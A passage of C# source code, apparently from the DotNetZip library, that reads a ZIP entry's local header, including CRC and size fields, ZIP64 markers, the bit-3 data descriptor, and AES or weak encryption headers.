            // CRC values are not true values; the true values will follow the entry data.
            // But, regardless of the status of bit 3 in the bitfield, the slots for
            // the three amigos may contain marker values for ZIP64.  So we must read them.
            {
                ze._Crc32 = (Int32)(block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256);
                ze._CompressedSize = (uint)(block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256);
                ze._UncompressedSize = (uint)(block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256);

                if ((uint)ze._CompressedSize == 0xFFFFFFFF ||
                    (uint)ze._UncompressedSize == 0xFFFFFFFF)

                    ze._InputUsesZip64 = true;
            }

            Int16 filenameLength = (short)(block[i++] + block[i++] * 256);
            Int16 extraFieldLength = (short)(block[i++] + block[i++] * 256);

            block = new byte[filenameLength];
            n = ze.ArchiveStream.Read(block, 0, block.Length);
            bytesRead += n;

            // if the UTF8 bit is set for this entry, override the
            // encoding the application requested.

            if ((ze._BitField & 0x0800) == 0x0800)
            {
                // workitem 12744
                ze.AlternateEncoding = System.Text.Encoding.UTF8;
                ze.AlternateEncodingUsage = ZipOption.Always;
            }

            // need to use this form of GetString() for .NET CF
            ze._FileNameInArchive = ze.AlternateEncoding.GetString(block, 0, block.Length);

            // workitem 6898
            if (ze._FileNameInArchive.EndsWith("/")) ze.MarkAsDirectory();

            bytesRead += ze.ProcessExtraField(ze.ArchiveStream, extraFieldLength);

            ze._LengthOfTrailer = 0;

            // workitem 6607 - don't read for directories
            // actually get the compressed size and CRC if necessary
            if (!ze._FileNameInArchive.EndsWith("/") && (ze._BitField & 0x0008) == 0x0008)
            {
                // This descriptor exists only if bit 3 of the general
                // purpose bit flag is set (see below).  It is byte aligned
                // and immediately follows the last byte of compressed data,
                // as well as any encryption trailer, as with AES.
                // This descriptor is used only when it was not possible to
                // seek in the output .ZIP file, e.g., when the output .ZIP file
                // was standard output or a non-seekable device.  For ZIP64(tm) format
                // archives, the compressed and uncompressed sizes are 8 bytes each.

                // workitem 8098: ok (restore)
                long posn = ze.ArchiveStream.Position;

                // Here, we're going to loop until we find a ZipEntryDataDescriptorSignature and
                // a consistent data record after that.   To be consistent, the data record must
                // indicate the length of the entry data.
                bool wantMore = true;
                long SizeOfDataRead = 0;
                int tries = 0;
                while (wantMore)
                {
                    tries++;
                    // We call the FindSignature shared routine to find the specified signature
                    // in the already-opened zip archive, starting from the current cursor
                    // position in that filestream.  If we cannot find the signature, then the
                    // routine returns -1, and the ReadHeader() method returns false,
                    // indicating we cannot read a legal entry header.  If we have found it,
                    // then the FindSignature() method returns the number of bytes in the
                    // stream we had to seek forward, to find the sig.  We need this to
                    // determine if the zip entry is valid, later.

                    if (ze._container.ZipFile != null)
                        ze._container.ZipFile.OnReadBytes(ze);

                    long d = Ionic.Zip.SharedUtilities.FindSignature(ze.ArchiveStream, ZipConstants.ZipEntryDataDescriptorSignature);
                    if (d == -1) return false;

                    // total size of data read (through all loops of this).
                    SizeOfDataRead += d;

                    if (ze._InputUsesZip64)
                    {
                        // read 1x 4-byte (CRC) and 2x 8-bytes (Compressed Size, Uncompressed Size)
                        block = new byte[20];
                        n = ze.ArchiveStream.Read(block, 0, block.Length);
                        if (n != 20) return false;

                        // do not increment bytesRead - it is for entry header only.
                        // the data we have just read is a footer (falls after the file data)
                        //bytesRead += n;

                        i = 0;
                        ze._Crc32 = (Int32)(block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256);
                        ze._CompressedSize = BitConverter.ToInt64(block, i);
                        i += 8;
                        ze._UncompressedSize = BitConverter.ToInt64(block, i);
                        i += 8;

                        ze._LengthOfTrailer += 24;  // bytes including sig, CRC, Comp and Uncomp sizes
                    }
                    else
                    {
                        // read 3x 4-byte fields (CRC, Compressed Size, Uncompressed Size)
                        block = new byte[12];
                        n = ze.ArchiveStream.Read(block, 0, block.Length);
                        if (n != 12) return false;

                        // do not increment bytesRead - it is for entry header only.
                        // the data we have just read is a footer (falls after the file data)
                        //bytesRead += n;

                        i = 0;
                        ze._Crc32 = (Int32)(block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256);
                        ze._CompressedSize = (uint)(block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256);
                        ze._UncompressedSize = (uint)(block[i++] + block[i++] * 256 + block[i++] * 256 * 256 + block[i++] * 256 * 256 * 256);

                        ze._LengthOfTrailer += 16;  // bytes including sig, CRC, Comp and Uncomp sizes

                    }

                    wantMore = (SizeOfDataRead != ze._CompressedSize);

                    if (wantMore)
                    {
                        // Seek back to un-read the last 12 bytes  - maybe THEY contain
                        // the ZipEntryDataDescriptorSignature.
                        // (12 bytes for the CRC, Comp and Uncomp size.)
                        ze.ArchiveStream.Seek(-12, SeekOrigin.Current);
                        // workitem 10178
                        Ionic.Zip.SharedUtilities.Workaround_Ladybug318918(ze.ArchiveStream);

                        // Adjust the size to account for the false signature read in
                        // FindSignature().
                        SizeOfDataRead += 4;
                    }
                }

                // seek back to previous position, to prepare to read file data
                // workitem 8098: ok (restore)
                ze.ArchiveStream.Seek(posn, SeekOrigin.Begin);
                // workitem 10178
                Ionic.Zip.SharedUtilities.Workaround_Ladybug318918(ze.ArchiveStream);
            }

            ze._CompressedFileDataSize = ze._CompressedSize;


            // bit 0 set indicates that some kind of encryption is in use
            if ((ze._BitField & 0x01) == 0x01)
            {
#if AESCRYPTO
                if (ze.Encryption == EncryptionAlgorithm.WinZipAes128 ||
                    ze.Encryption == EncryptionAlgorithm.WinZipAes256)
                {
                    int bits = ZipEntry.GetKeyStrengthInBits(ze._Encryption_FromZipFile);
                    // read in the WinZip AES metadata: salt + PV. 18 bytes for AES256. 10 bytes for AES128.
                    ze._aesCrypto_forExtract = WinZipAesCrypto.ReadFromStream(null, bits, ze.ArchiveStream);
                    bytesRead += ze._aesCrypto_forExtract.SizeOfEncryptionMetadata - 10; // MAC (follows crypto bytes)
                    // according to WinZip, the CompressedSize includes the AES Crypto framing data.
                    ze._CompressedFileDataSize -= ze._aesCrypto_forExtract.SizeOfEncryptionMetadata;
                    ze._LengthOfTrailer += 10;  // MAC
                }
                else
#endif
                {
                    // read in the header data for "weak" encryption
                    ze._WeakEncryptionHeader = new byte[12];
                    bytesRead += ZipEntry.ReadWeakEncryptionHeader(ze._archiveStream, ze._WeakEncryptionHeader);
                    // decrease the filedata size by 12 bytes
                    ze._CompressedFileDataSize -= 12;
                }
            }

            // Remember the size of the blob for this entry.
            // We also have the starting position in the stream for this entry.
            ze._LengthOfHeader = bytesRead;
            ze._TotalEntrySize = ze._LengthOfHeader + ze._CompressedFileDataSize + ze._LengthOfTrailer;


            // We've read in the regular entry header, the extra field, and any
            // encryption header.  The pointer in the file is now at the start of the
            // filedata, which is potentially compressed and encrypted.  Just ahead in
            // the file, there are _CompressedFileDataSize bytes of data, followed by
            // potentially a non-zero length trailer, consisting of optionally, some
            // encryption stuff (10 byte MAC for AES), and the bit-3 trailer (16 or 24
            // bytes).

            return true;
        }

See More Examples